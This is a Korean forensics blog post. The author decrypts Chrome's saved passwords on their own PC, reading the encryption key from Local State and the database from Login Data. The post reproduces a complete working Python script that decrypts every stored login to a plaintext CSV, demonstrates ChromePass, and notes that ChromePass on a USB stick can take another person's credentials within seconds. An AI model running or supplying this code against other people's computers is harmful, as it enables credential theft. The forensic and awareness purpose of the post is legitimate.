Web Browser Forensic/Chrome

Chrome Auto-Login Account Information Decryption Analysis

수분_ 2024. 7. 17. 07:52

INDEX

 

1. Introduce

2. Analysis Scenario

3. Current Local State Analysis

4. Automatic Login Status Analysis

5. Chromepass Tool

6. Conclusion

7. Reference


 

 

 

 

 

1. Introduce

이번 분석 실습에서는 앞선 포스팅에서 다룬 크롬 자동로그인을 바탕으로 필자의 로컬 컴퓨터를 분석하고 복호화하여 비밀번호를 알아내고자한다.

 

필자는 자동로그인을 무조건 사용하지 않으므로 자동로그인을 사용하지 않은 상태와 자동로그인을 사용한 후의 상태를 나누어 분석하고자 한다.

 

마지막으로는 전용 도구인 Chormepass를 사용하여 보고자 한다.

 

밑의 표에서 사용한 분석 도구를 참고하길 바란다.

 

Tools Used Version
DB Brower for SQLite v3.12.2
Chormepass v1.58

 

 

 

 

 


 

 

 

 

 

2. Analysis Scenario

  • 자동로그인을 사용하지 않은 상태 분석

필자는 자동로그인을 사용하지 않으므로 크롬 비밀번호 관리자에서 거부당한 사이트들을 확인한 후 Login Data를 열어 복호화된 상태를 확인한다.

 

그후 AES 복호화 코드를 통해 복호화를 진행한 후 복호화된 사이트의 비밀번호를 확인한다.

 

 

 

  • 자동로그인을 사용한 후 상태 분석

이번엔 자동로그인을 사용한 후 크롬 비밀번호 관리자에서 사용된 사이트를 확인한다.

 

이후 똑같이 Login Data를 열어 복호화된 상태를 확인하고 AES 복호화 코드로 복호화를 진행한 후 복호화된 사이트의 비밀번호를 확인한다.

 

 

 

  • Chromepass 도구 사용

마지막으로는 Chormepass 도구를 사용하고 결과를 확인한다.

 

 

 

 

 


 

 

 

 

 

3. Current Local State Analysis

분석에 앞서 설정에서 크롬 비밀번호 관리자를 열어 저장된 비밀번호가 없음을 확인한다.

 

더불어서 자동로그인이 거부된 사이트들도 확인한다.

 

 

 

C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Local State

 

위의 경로에서 Local State라는 파일을 확인 할 수 있는데 이 파일을 통해 암호화 키를 찾을 수 있다.

 

메모장으로 열어주고 encrypted_key를 검색하면

 

이렇게 암호화 키를 찾을 수 있다.

 

 

 

C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data

위의 경로에서는 Login Data 파일을 확인할 수 있다.

이 파일을 복사해서 가져온다.

 

 

이후 DB Brower로 열어보면 자동로그인이 거부된 사이트들을 볼 수 있으며 username_value와 password_element에 저장된 데이터가 없음도 확인가능하다.

 

 

 

이후 Python으로 작성된 복호화 코드를 통해 Login Data를 복호화 해보려고한다.

 

필요한 사전설정은 Reference에 첨부된 깃허브 주소를 통해 확인가능하고 설정을 진행하면 된다.

 

Requirement가 완료되었으면, 밑의 복호화 코드를 돌려주면 된다.

 

#Full Credits to LimerBoy
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv

#GLOBAL CONSTANT
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE']))
CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))

def get_secret_key():
    try:
        #(1) Get secretkey from chrome local state
        with open( CHROME_PATH_LOCAL_STATE, "r", encoding='utf-8') as f:
            local_state = f.read()
            local_state = json.loads(local_state)
        secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
        #Remove suffix DPAPI
        secret_key = secret_key[5:] 
        secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
        return secret_key
    except Exception as e:
        print("%s"%str(e))
        print("[ERR] Chrome secretkey cannot be found")
        return None
    
def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(ciphertext, secret_key):
    try:
        #(3-a) Initialisation vector for AES decryption
        initialisation_vector = ciphertext[3:15]
        #(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
        #Encrypted password is 192 bits
        encrypted_password = ciphertext[15:-16]
        #(4) Build the cipher to decrypt the ciphertext
        cipher = generate_cipher(secret_key, initialisation_vector)
        decrypted_pass = decrypt_payload(cipher, encrypted_password)
        decrypted_pass = decrypted_pass.decode()  
        return decrypted_pass
    except Exception as e:
        print("%s"%str(e))
        print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
        return ""
    
def get_db_connection(chrome_path_login_db):
    try:
        print(chrome_path_login_db)
        shutil.copy2(chrome_path_login_db, "Loginvault.db") 
        return sqlite3.connect("Loginvault.db")
    except Exception as e:
        print("%s"%str(e))
        print("[ERR] Chrome database cannot be found")
        return None
        
if __name__ == '__main__':
    try:
        #Create Dataframe to store passwords
        with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
            csv_writer = csv.writer(decrypt_password_file, delimiter=',')
            csv_writer.writerow(["index","url","username","password"])
            #(1) Get secret key
            secret_key = get_secret_key()
            #Search user profile or default folder (this is where the encrypted login password is stored)
            folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None]
            for folder in folders:
            	#(2) Get ciphertext from sqlite database
                chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder))
                conn = get_db_connection(chrome_path_login_db)
                if(secret_key and conn):
                    cursor = conn.cursor()
                    cursor.execute("SELECT action_url, username_value, password_value FROM logins")
                    for index,login in enumerate(cursor.fetchall()):
                        url = login[0]
                        username = login[1]
                        ciphertext = login[2]
                        if(url!="" and username!="" and ciphertext!=""):
                            #(3) Filter the initialisation vector & encrypted password from ciphertext 
                            #(4) Use AES algorithm to decrypt the password
                            decrypted_password = decrypt_password(ciphertext, secret_key)
                            print("Sequence: %d"%(index))
                            print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
                            print("*"*50)
                            #(5) Save into CSV 
                            csv_writer.writerow([index,url,username,decrypted_password])
                    #Close database connection
                    cursor.close()
                    conn.close()
                    #Delete temp login db
                    os.remove("Loginvault.db")
    except Exception as e:
        print("[ERR] %s"%str(e))

 

 

 

결과를 보면 당연하게도 저장된 데이터가 없기 때문에 아무것도 나오지 않는다.

 

이후 생성되는 .CSV파일에도 아무것도 나오지 않는 것을 확인했다.

 

 

 

 

 


 

 

 

 

 

4. Automatic Login Status Analysis

이번엔 한 사이트에서 자동로그인을 등록하고 크롬 비빌번호관리자를 열어 확인하였다.

 

 

 

 

C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data

 

이후 다시 Login Data를 가져오고 DB Brower로 열어보았다.

 

 

 

 

자동로그인하는 사이트의 username_value에 ID가 저장이 되고 password_element에는 비밀번호가 암호화가 되어서 저장된 것을 볼 수 있다.

 

이제 Ptyhon으로 다시 복호화 코드를 돌려주면

 

 

사이트의 ID와 PW가 복호화되어 평문으로 나오는 것을 볼 수 있다.

 

 

생성된 .CSV파일에서도 확인가능하다.

 

 

 

 

 


 

 

 

 

 

5. Chromepass Tool

Chromepass 도구를 사용하면 간단히 확인가능하다.

 

  • 자동로그인 설정 전

 

 

 

  • 자동로그인 설정 후

 

 

 

 

 


 

 

 

 

 

6. Conclusion

크롬 자동로그인 분석을 통해 복호화로 ID와 PW를 평문으로 알 수 있었으며, 생각한 것보다 더 취약함을 알 수 있었다.

 

필자는 자동로그인을 사용하지 않았지만 앞으로 더 경각심이 생겼으며, 지인들에게도 자동로그인의 위혐성을 전파할 생각이다.

 

또한 USB에 Chromepass를 넣어다니면 상대의 컴퓨터에 USB를 연결하고 Chromepass를 통해 10초안에 사이트 ID들을 탈취할 수 있으니 아주 주의해야한다.

 

 

 

 

 


 

 

 

 

 

7. Reference

[Decrypt Chrome Passwords]

https://github.com/ohyicong/decrypt-chrome-passwords

 

GitHub - ohyicong/decrypt-chrome-passwords

Contribute to ohyicong/decrypt-chrome-passwords development by creating an account on GitHub.

github.com

 

[How to decrypt Chrome password with Python?]

 https://ohyicong.medium.com/how-to-hack-chrome-password-with-python-1bedc167be3d

 

How to hack Chrome password with Python

Do you think it is safe to store your password in Chrome? The short answer is “no”. Any perpetrator that has access to your laptop is able…

ohyicong.medium.com

 

[Chromepass]

https://www.nirsoft.net/utils/chromepass.html

 

ChromePass - Chrome Browser Password Recovery for Windows

    ChromePass v1.58 Copyright (c) 2008 - 2022 Nir Sofer Related Links Description ChromePass is a small password recovery tool for Windows that allows you to view the user names and passwords stored by Google Chrome Web browser. For each password entry,

www.nirsoft.net

 

 

'Web Browser Forensic > Chrome' 카테고리의 다른 글

Chrome Auto-Login  (0) 2024.07.17